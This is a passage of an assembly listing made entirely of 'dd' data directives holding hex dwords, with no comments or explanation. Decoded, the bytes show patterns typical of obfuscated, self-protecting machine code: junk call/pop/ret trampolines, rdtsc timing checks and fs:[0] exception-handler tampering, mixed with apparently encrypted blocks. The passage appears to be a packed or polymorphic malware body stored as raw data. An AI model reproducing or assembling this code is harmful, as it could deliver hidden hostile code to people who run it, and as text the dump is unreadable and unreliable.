		dd 8D0F6100h, 6, 15A9B589h, 858D0607h, 60AB5BCh, 0D040BB66h
		dd 0B88689h, 860F0000h,	3, 6ADA8B66h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
		dd 0FE3FB28h, 31D1BBC9h, 0B5FF50D6h, 60AA291h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h
		dd 0C3C35242h, 5E5BD8Bh, 95FF0607h, 6070285h, 12358589h
		dd 0E8500607h, 5, 0EEEE4810h, 28B0FB4h,	60000000h, 34895F61h
		dd 0FFF88B24h, 0AA291B5h, 5595FF06h, 0F060711h,	0BD83DFBFh
		dd 60706DDh, 50840F00h,	6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 145EC352h
		dd 0B8473971h, 803DF268h, 665096EBh, 3489D98Bh,	55006A24h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 0DED381ABh, 0FF1A97B4h, 0AA291B5h, 0AE806h, 3E950000h
		dd 2568312Dh, 1D9C0588h, 1AA19D8Bh, 895B0607h, 7130D95h
		dd 0F195FF06h, 8906071Bh, 70E518Dh, 91B5FF06h, 6A060AA2h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 4A33C351h, 0A9965BD7h, 7E966F1h, 77000000h
		dd 78195D6h, 95FF532Bh,	6071AF5h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 0E1C35141h,	71234FCh, 73AF2222h
		dd 0A5BD8BB7h, 89060726h, 71CB995h, 0F5BD8306h,	2060719h
		dd 50840Fh, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 140424h, 57470000h, 8BFC79C3h, 71A2985h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 81667F00h, 0C65ED1D3h, 66600000h, 8BEB5FBBh,	85C761CEh
		dd 6070D09h, 0
		dd 6870Fh, 8D890000h, 6071615h,	2F098589h, 63E90607h, 0FFFFFF2h
		dd 5E9FABFh, 59000000h,	7F148C04h, 8A0FC18Bh, 4, 0D781BF66h
		dd 2C61858Dh, 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 6612F6C3h, 0D63FC381h, 1BC19D03h
		dd 0F500607h, 88h, 24048900h, 1C35BD31h, 6A0607h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0B5C35242h, 0F40897E0h
		dd 895C6220h, 0CD99D29h, 6A0607h, 858DF98Bh, 60B5E1Eh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 37C35747h
		dd 0BC8AC945h, 0B70FCC8Ch, 0CE8FFh, 532B0000h, 0A32890C7h
		dd 61E5914Dh, 0DB818782h, 1056A57Bh, 5C0835Fh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0EC35141h, 0A1B9702Ah
		dd 0C9222CF7h, 0BDBF6649h, 0ABB3900Dh, 90FA8A50h, 10199D8Bh
		dd 6A0607h, 0E855006Ah,	3, 5DC35D20h, 4246C89h,	4244481h
		dd 19h,	8CC35545h, 0C4838CA1h, 71BD0BE3h, 6A060716h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 3595FF67h, 6A060713h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 0F9FFC353h,	0C5F8A91Fh
		dd 0CB81D1C6h, 346C40E6h, 939D8D8Dh, 0BD8B060Ah, 6072CB5h
		dd 0BB66D1FFh, 0BF0F2C12h, 0B1BD83FBh, 1060732h, 7D850Fh
		dd 0C9B30000h, 8E9026Ah, 0AB000000h, 38CC6F5Dh,	90295445h
		dd 0FE9h, 133C0000h, 52EB1B29h,	18272DCCh, 54358E4Ah, 0BB525050h
		dd 278A89B3h, 5250310Fh, 310F5250h, 310F585Ah, 5E9h, 7BCDB200h
		dd 585AE320h, 2B90585Ah, 71279BDh, 8595FF06h, 6A060702h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 0C3A8C356h, 85EA17D9h, 21BD8B97h,	0E9060718h
		dd 0D99h, 0E8h,	0ED815D00h, 60B5E28h, 1D2D9D8Bh, 6A0607h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 57964BC3h, 2885B509h, 8B5F0607h, 3858DD9h, 50060A86h
		dd 6A240489h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 0BD2DC351h, 8F624516h,	35FF642Fh
		dd 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 5DC35646h
		dd 0DA0D2587h, 0B2EFACF9h, 25896462h, 0
		dd 2C8985FFh, 0CE80607h, 0A0000000h, 760E8BD1h,	0A056996Bh
		dd 331CC6C6h, 727FD9Dh,	0FF6A5B06h, 5C98D89h, 9D030607h
		dd 6072FC5h, 319B5FFh, 63BB0607h, 0FF05BEA7h, 7213D95h
		dd 145E906h, 10E90000h,	0B4000000h, 0FE8A43C2h,	0F17EE9E2h
		dd 0C62AECADh, 66A56C88h, 0B09616BFh, 0F7816600h, 70E62595h
		dd 0E4D8B70Fh, 5D9D8B71h, 3C060715h, 10830F61h,	60000001h
		dd 880F60h, 89000000h, 7037DB5h, 5E86106h, 13000000h, 7FA4742Dh
		dd 15CD950Bh, 615A0607h, 51C8B60Fh, 0FE430DBFh,	6BA5F7Bh
		dd 0F000000h, 87h, 12E900h, 3DA50000h, 603CFF8Ch, 6AACBEC5h
		dd 0A5B3D6FDh, 6BE8AED3h, 0B589C18Bh, 6071209h,	8904E8C1h
		dd 71C358Dh, 0E2F76606h, 15F9BD8Bh, 0C82B0607h,	2ED1BD8Bh
		dd 0D18B0607h, 0E9FA8B66h, 5, 26CC4ABFh, 0B9858B4Dh, 0F060731h
		dd 8Bh,	7C08300h, 0AE9h, 0F2BBC000h, 0DE7CC47Eh, 83F4A230h
		dd 0FE8B00C0h, 830FD03Bh, 1Fh, 60E943B7h, 0E8000000h, 0Ch
		dd 0B3860FFAh, 56F95455h, 4E0F32C0h, 0F719D8Bh,	8B5F0607h
		dd 703798Dh, 75950106h,	83060704h, 840F01E1h, 33h, 0A583FA8Bh
		dd 6070379h, 0EF8166FEh, 9589A81Eh, 60731B9h, 0EE8h, 45793400h
		dd 3BDF359Bh, 370A1B02h, 29D14819h, 72CD19Dh, 0E95F06h
		dd 8D000000h, 0ADD2CB5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 0F2F65C6h, 10BB2E65h
		dd 6AE1CDh, 68A0Fh, 95890000h, 60702DDh, 95FFDF8Bh, 6071B69h
		dd 61A424BBh, 823B92Fh,	0F7800000h, 0FCE183B9h,	121DBD8Bh
		dd 8BFC0607h, 71181BDh,	6AC02B06h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 3319C353h
		dd 0CB00FF00h, 0E92D4754h, 5, 2A115ABAh, 0B6D78189h, 0BA2E07DEh
		dd 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0C9C35141h
		dd 2F4A9B64h, 0C233AD1Ah, 0D003E8D1h, 7504E983h, 57006AF4h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 893DFE1Fh, 71A5585h,	6AF806h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 5335B7C3h, 0E9F05B29h
		dd 11h,	6FE2FC07h, 0DDB5FFDBh, 0B8B469DAh, 86AC9ACFh, 0E59D8902h
		dd 0E806071Ch, 8, 0A740732Ah, 0BDC5A962h, 68B0Fh, 800F0000h
		dd 0
		dd 880D5Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 0A7C0D1C3h, 0ECD4F8E2h, 0E88D8323h
		dd 0Ch,	0DC31B9E0h, 88306410h, 3288BC26h, 1958B5Bh, 6A06070Ah
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 573CC355h, 8BC6B49Fh, 0A58D8BD8h,	6A060714h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 81D5C353h, 874AD8D3h, 0C28B5017h,	0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 6058188Bh, 11E8h, 1A791300h
		dd 7A02A887h, 0E039009Dh, 0D8C861EBh, 5EF58C4Fh, 0DE9h
		dd 30526700h, 0E86448D6h, 0D3F28EB1h, 161414Dh,	711499Dh
		dd 83DF8106h, 833560E9h, 72FF9BDh, 840F0006h, 0A0h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0D9C35141h, 9067661Ch
		dd 0BD8B8688h, 6071A4Dh, 0B8h, 43DF8100h, 8D15A6CCh, 74B4A8Dh
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 0FFDCC8C5h, 50006AE1h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 0B44DCC72h
		dd 0E8F3C73Ch, 0Eh, 4934891Fh, 0AF1A112Ah, 6D82D79Bh, 0AE944E6h
		dd 41000000h, 0D014EFFEh, 0EE2E6E86h, 5B565FF4h, 2FD5BD83h
		dd 0F000607h, 45384h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 5B32B41Bh, 0E84A7963h
		dd 14h,	2D885D1Ah, 63C403CBh, 4C4F9870h, 0AE1FC84Eh, 0DEDF0BCh
		dd 0D5BD835Bh, 106072Fh, 425840Fh, 9D8B0000h, 6071339h
		dd 2FD5BD83h, 0F030607h, 3DC86h, 0AD858900h, 60060723h
		dd 0EA58D89h, 8C660607h, 50006AD9h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 8093401Fh, 6A04E1h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 0A96979C3h, 0C90AFA8Bh, 17B840Fh, 14E90000h,	0D000000h
		dd 0F1CCD6CCh, 6C33A553h, 60E45EA6h, 0A0F657DDh, 8B64C426h
		dd 70EF185h, 7FEF8106h,	806BCAD5h, 8533F1DBh, 6071569h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 78C35747h
		dd 0F415B268h, 958994FFh, 6070A21h, 5E890h, 0F0640000h
		dd 56480EC5h, 60505B5Fh, 860F53h, 5A000000h, 6A9061h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 16970EC3h, 7481103Fh, 6ADE8B66h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 8115B775h
		dd 744E90CBh, 4E824h, 3FF0000h,	8B56001Fh, 8B505BF9h, 24448BD9h
		dd 0E9008B04h, 7, 0DC0282EAh, 8953E55Bh, 0E8042444h, 10h
		dd 0BB8B4C7Ah, 0B26A7B1Fh, 0B8EF922Fh, 32967240h, 8989BB66h
		dd 6A585Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 0A1F0C0C3h, 95FF2E08h, 6070561h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0C3C35242h, 16A20ADCh
		dd 3027551Ch, 91858955h, 6A060AA2h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 4363C355h
		dd 0BB66D075h, 6AE9413Dh, 23000001h, 70C059Dh, 89858B06h
		dd 8B060AA2h, 72FA5BDh,	19BD8B06h, 0C7060701h, 1800h, 419D8900h
		dd 8B060721h, 0AA28DB5h, 0E6BF6606h, 14E980h, 88570000h
		dd 7FBA8FC7h, 9451354Dh, 5B9496BCh, 400F64BDh, 858BF723h
		dd 6071C7Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	0F0C35343h, 0BD23B96Fh,	6070F71h, 0C5BD0351h, 5B060723h
		dd 81F90689h, 608E87DBh, 0F1858B40h, 6A06070Eh,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 20AEC351h, 86646E9Ch, 4689C38Ah, 0DE8B6604h,	2890F50h
		dd 8B000000h, 243489D8h, 0FEF6BB66h, 0A289B5FFh, 6A060Ah
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 684DF4C3h, 0C9BD305h, 81FA8B66h, 0D0FA2434h,	6A0C84h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 66F827C3h, 9D89DA8Bh, 6071289h, 0A291858Dh, 6A060Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 0ECEB3DC3h, 0B25229E8h, 0BF50DA8Bh, 275144Ah, 0F240489h
		dd 684h, 35BD8900h, 0FC06071Dh,	56195FFh, 0BD8B0607h, 6071295h
		dd 0D5EB8166h, 3BBB612Ah, 0E8180EE3h, 10h, 0AF742E94h
		dd 0D2296855h, 0AC2D3B60h, 0A88A3DC3h, 6810Fh, 8D290000h
		dd 6070BDDh, 0D585C75Fh, 306072Fh, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 9852C356h, 523554C1h, 0BD836626h, 60AA291h, 42840F00h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 6BC8C356h, 3AE93Bh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 7DDD0C3h, 0C3050F7h,	11440011h, 10E8C101h, 2114430h
		dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
		dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0AD958960h, 8B06072Eh, 703699Dh
		dd 0BD836106h, 6072FD5h, 0B2850F03h, 0BB000003h, 39F4D1CBh
		dd 2DE99D8Bh, 0BD830607h, 60AA291h, 9A840F00h, 6A000003h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 232C357h,	38684EACh, 0A291B5FFh, 6A060Ah
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 64EF0EC3h, 0C8790131h, 0FE8B34C0h, 1CE19D8Bh, 850F0607h
		dd 6, 1C75BD33h, 95FF0607h, 6071641h, 2719589h,	0B58B0607h
		dd 60AA285h, 106C7h, 9D8B0001h,	60717DDh, 0E9525096h, 5
		dd 7C9E6974h, 505F5B78h, 11E9h,	37E48300h, 0DEFF5EC3h
		dd 6D770F51h, 7D7AE2C9h, 8996AE14h, 727F59Dh, 91B5FF06h
		dd 6A060AA2h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 0D0FC351h, 0AE8502Ch, 88000000h
		dd 6284CD85h, 0EEE0D658h, 0A2BB6616h, 95FF5BDAh, 6071DE1h
		dd 88CB8150h, 5B391F52h, 0A285B58Bh, 6A060Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 848F31C3h
		dd 0A9F29C24h, 0AE8h, 0BE10A00h, 0CD561CA9h, 0F31F4D7h
		dd 68Ch, 358D0100h, 5F060714h, 20A5858Bh, 6A0607h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 74BD6BC3h, 0C8E845B4h, 9D89A4E9h, 6072CD1h, 0C48689h
		dd 0C7800000h, 1958BB2h, 6A06070Ah, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 8CB0C353h
		dd 9E7F7560h, 71BD8BBAh, 83060730h, 0BF0F04C2h,	0AE9F9h
		dd 57100000h, 7E4FDA13h, 0F6CFC41Fh
		dd 31205089h, 72C69B5h,	31B58906h, 8D060719h, 0AB5BC85h
		dd 0F5BD8B06h, 89060704h, 0B886h, 35958900h, 6A060717h
		dd 0F8B70F00h, 0A291B5FFh, 6A060Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0B2490CC3h
		dd 609DC34Ch, 0BD8BEB8Ah, 6071A61h, 8595FF61h, 33060702h
		dd 71E79BDh, 8B665006h,	243489D9h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 18C35747h, 21B6CF84h, 0FF92D9C4h
		dd 0AA291B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 850F7851h, 2, 13E9F88Bh, 9A000000h
		dd 6FE1C6D5h, 0C0F8FE60h, 35633784h, 0FF910797h, 0CE8B9ABh
		dd 0EC000000h, 0B0D04EE4h, 0EC6B3BF6h, 0BBE15668h, 5F5463E3h
		dd 5595FF5Bh, 6A060711h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 0C4D4C351h,	0B0BF1862h
		dd 8996DC0Fh, 728019Dh,	0DDBD8306h, 60706h, 15840Fh, 0F600000h
		dd 8B66CBBFh, 665061C6h, 3489FA8Bh, 0A59D8924h,	0FF060712h
		dd 0AA291B5h, 159D0306h, 0FF06070Ah, 71BF195h, 0EE806h
		dd 0ADC60000h, 1485E9BBh, 1EEBF7F6h, 0EEB9D738h, 4165CB81h
		dd 0FF5B356Eh, 0AA291B5h, 799D8B06h, 0FF060704h, 71AF595h
		dd 8E906h, 99A10000h, 0BC8C8CFCh, 0BD83AC2Eh, 60719F5h
		dd 3E840F02h, 0F000000h, 28Eh, 8B68B700h, 71A2985h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 75D933Ah, 9D8BF577h,	6070679h, 810000C6h, 37329CEFh
		dd 985C73Bh, 6070Dh, 57000000h,	1D358531h, 8B5F0607h, 0F368E9DEh
		dd 6AFFFFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 0E0BF07C3h, 8906A29Ah, 713D195h, 0E8C18B06h
		dd 10h,	0B5A4BAD2h, 3F925FF4h, 54A913BCh, 3A114A9Dh, 6850Fh
		dd 0EF810000h, 45AE33ECh, 61858D5Bh, 0B306072Ch, 0BF669043h
		dd 50502183h, 0F32B752h, 90585A31h, 66006AF8h, 3731EB81h
		dd 0CE9006Ah, 0D5000000h, 0E74BA031h, 9B8424ECh, 8B384AAAh
		dd 7130D9Dh, 8C858D06h,	31060B6Dh, 7162595h, 5C08306h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 91C35141h
		dd 8B820D5Dh, 0E1BD89DEh, 90060713h, 66525050h,	310FD98Bh
		dd 0B1C36BFh, 90585A07h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 14h, 2DC35343h, 1A419589h,	6A0607h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 97C35242h, 0B6F9F49Fh
		dd 667C14DBh, 0DA8BD88Bh, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 0D53ACBC3h, 0D4E07CE6h
		dd 95FFE714h, 6071335h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 7C35343h, 0C3386A99h,	72BF66A9h, 9D8D8D64h
		dd 6A060A93h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 0A9BC353h, 31CEE6B7h, 91BF664Bh
		dd 0E9D1FF23h, 8, 0B0198F7Ch, 0FDC76D9h, 32B1BD83h, 0F010607h
		dd 6C85h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 8B60B30Fh, 71A1595h, 0DF816606h
		dd 6A610F5Bh, 0A6BF6602h, 0B1BD8B04h, 50060709h, 0EE9h
		dd 375E4B00h, 109E40Dh,	3F5A50E1h, 8916A6B4h, 0FFFC2404h
		dd 7028595h, 0CE806h, 38E20000h, 62E760Bh, 35AD707Eh, 9D8B0031h
		dd 6070B2Dh, 0C24E95Bh,	0E80000h, 5D000000h, 6D96ED81h
		dd 8166060Bh, 0FC6651F3h, 8603858Dh, 0BFBB060Ah, 9056244Bh
		dd 9F531BBh, 5250504Bh,	8B66310Fh, 90585AFEh, 5E9h, 0D9CD1800h
		dd 0FF64D129h, 35h, 0BE900h, 11FB0000h,	0E403AB59h, 0C93890B7h
		dd 258964C7h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 2C35545h
		dd 19D8B4Dh, 0FF060716h, 72C8985h, 4BB6606h, 5E952h, 9E0A0000h
		dd 6A9DEADFh, 0BE8FFh, 0FBA80000h, 0D4F7D963h, 328A9F2Dh
		dd 5CBF66C1h, 0B5FF5B76h, 607312Dh, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 0E1C35242h,	0F89E4D5Eh, 8B01E160h
		dd 3D95FFFBh, 0E9060721h, 127h,	23DDBD8Bh, 0B00607h, 5952950h
		dd 5B06072Dh, 8E0F70E6h, 0Ah, 0E9BD8960h, 57060723h, 8C0F615Ah
		dd 17h,	0BE8h, 0F641BD00h, 0C9170E1Ah, 0C6D41A14h, 9D59D33h
		dd 0E45B0607h, 0E9BD0971h, 53060704h, 613C5BF5h, 0D5830Fh
		dd 0B60F0000h, 91B589C8h, 0BA060717h, 6, 0C18BD88Bh, 6810Fh
		dd 0BD330000h, 60713E9h, 0D30BBB66h, 8004E8C1h,	0F76623DBh
		dd 9EC381E2h, 2B315C1Dh, 8B12B7C8h, 99529D1h, 0E906072Fh
		dd 0Ch,	3858D89h, 0EB810607h, 0B3EA58Ch, 1FAD858Bh, 850F0607h
		dd 6, 6359589h,	0C0830607h, 859D8B07h, 8306071Ah, 8E800C0h
		dd 1C000000h, 0EAAD8F50h, 0E9203243h, 9, 7589EE7Dh, 5326395Eh
		dd 0D03B5F90h, 11830Fh,	95890000h, 6070101h, 6659D8Bh
		dd 34E90607h, 8B000000h, 72CD58Dh, 1DB50106h, 8306072Fh
		dd 840F01E1h, 1Fh, 83D9BF0Fh, 72CD5A5h,	0D381FE06h, 1B62DCE6h
		dd 1FAD9589h, 29B30607h, 0E9FA8Bh, 8D000000h, 0AE712B5h
		dd 0BD958906h, 89060726h, 701399Dh, 0F006A06h, 28Dh, 81D88B00h
		dd 0D5BC6DCFh, 6995FF3Bh, 8A06071Bh, 7ACB9DAh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 0DC5998C3h, 0BF7D27B8h, 68C0F60h, 8B000000h,	71E298Dh
		dd 5E906h, 6CDF0000h, 610731B2h, 6830Fh, 85890000h, 6070A29h
		dd 6AFCE183h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 8989C355h, 70279B5h, 6AFC06h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 9CBBEAC3h, 0B8FBh, 12E80000h, 0F5000000h, 33137EFBh
		dd 76680CE2h, 6F599DDDh, 9E6ACF88h, 0A98589BFh,	5F060730h
		dd 0BAh, 958B6000h, 607152Dh, 0BE8h, 48211200h,	4DDFB7C9h
		dd 9CEFB695h, 0D199D89h, 61590607h, 0D1C233ADh,	83D003E8h
		dd 0F47504E9h, 0E218D01h, 6A0607h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 880DC7C3h, 0B7000000h
		dd 8B5B51CDh, 70A0195h,	55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 0E664CE43h, 0DA6AB3EDh
		dd 0DD858910h, 8B06072Dh, 714A58Dh, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 0D04FCCB4h
		dd 8B5006B3h, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 2AD38166h, 0F9BD8311h, 6072Fh, 8B840Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 1268D8C3h, 0E3FEEDD3h, 0B860h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 63D9E7C3h
		dd 0AE1C6177h, 9D0BF903h, 6071889h, 0A759D0Bh, 8D8D0607h
		dd 6074B4Ah, 6AE1FFF8h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 0EDFC356h, 0E963D742h
		dd 5, 0A8C64A40h, 0D5BD83DBh, 6072Fh, 35D840Fh,	0FE80000h
		dd 0A9000000h, 5FFAC78Dh, 0DA344498h, 8DC89CBAh, 0CB8034F0h
		dd 0BD835B76h, 6072FD5h, 53840F01h, 6A000003h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 7652C356h, 2FD5BD83h, 0F030607h, 2F386h, 73C38100h
		dd 607B4E3Eh, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 15h,	34C35141h, 0D98C66B1h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 30C35747h, 8F4756C6h, 842C013Ah
		dd 9FBB70Fh, 719A98Dh, 4E18006h, 14E9h,	54C1C00h, 0B6B010A8h
		dd 0B1E4F51Ch, 28B76CF2h, 0C2DDED80h, 0FC90A92h, 0B184h
		dd 0F1858B00h, 8906070Eh, 712B99Dh, 69853306h, 29060715h
		dd 70B7D8Dh, 0BB665006h, 48992BEh, 6DBD2924h, 8B06070Dh
		dd 72169BDh, 66006A06h,	9529FB8Bh, 6073039h, 0C68ACE68h
		dd 575250B8h, 0F5B6160h, 0EABF6631h, 81585A40h,	79312404h
		dd 0FFF84758h, 7056195h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 0F546A8Dh, 689h, 95858900h
		dd 89060702h, 0AA29185h, 12E806h, 0B4E60000h, 6347FA1Fh
		dd 89F8AD45h, 4EED632Fh, 0A024983Fh, 31119D03h,	0E95B0607h
		dd 180h, 1B71BD33h, 858B0607h, 60AA289h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 14h, 0D4C35242h, 3178EB81h
		dd 0C72D59h, 18h, 3291B589h, 0B58B0607h, 60AA28Dh, 91BD8B53h
		dd 5F060732h, 1C7D858Bh, 6A0607h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 0FB637DC3h, 6CA93B9Ch
		dd 918531D4h, 8906070Ch, 0F1858B06h, 2306070Eh,	73215BDh
		dd 4468906h, 42F5D3BBh,	0A3BF5000h, 8926E46Dh, 6A2434h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 8F2C32C3h, 0FF15E349h, 0AA289B5h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 38D80B4Ah
		dd 8960AB41h, 71DB995h,	6191B106h, 761F9068h, 0E26EBB3Ch
		dd 348163EFh, 691C6F24h, 6840F3Ch, 8B000000h, 71771BDh
		dd 7D78106h, 8D4BC6CAh,	0AA29185h, 499D8B06h, 50060702h
		dd 0BF665250h, 310F2F55h, 5ADE8B66h, 24048958h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 21C35545h, 66534DD0h
		dd 5FF797BFh, 11A1BD8Bh, 95FF0607h, 6070561h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 36C35242h, 6810Fh
		dd 0B5310000h, 60727F5h, 11952961h, 0C7060716h,	72FD585h
		dd 306h, 0A0B75300h, 91BD835Fh,	60AA2h,	2E840Fh, 9CBF0000h
		dd 0E9496C94h, 3Fh, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 7EC35040h, 281E1B76h,	0A7459D31h, 110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 66C08B00h, 182E781h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0B4C35545h
		dd 0C37877Fh, 7C2E4C2Fh, 9EB6BF66h, 2FD5BD83h, 0F030607h
		dd 3E585h, 91BD8300h, 60AA2h, 3D8840Fh,	0D98B0000h, 0A291B5FFh
		dd 0BD8B060Ah, 60701EDh, 164195FFh, 6A0607h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h
		dd 0B58BB7C3h, 60AA285h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 16h, 0BEC35646h, 0C7F9A3F7h, 1000106h, 0E3816600h
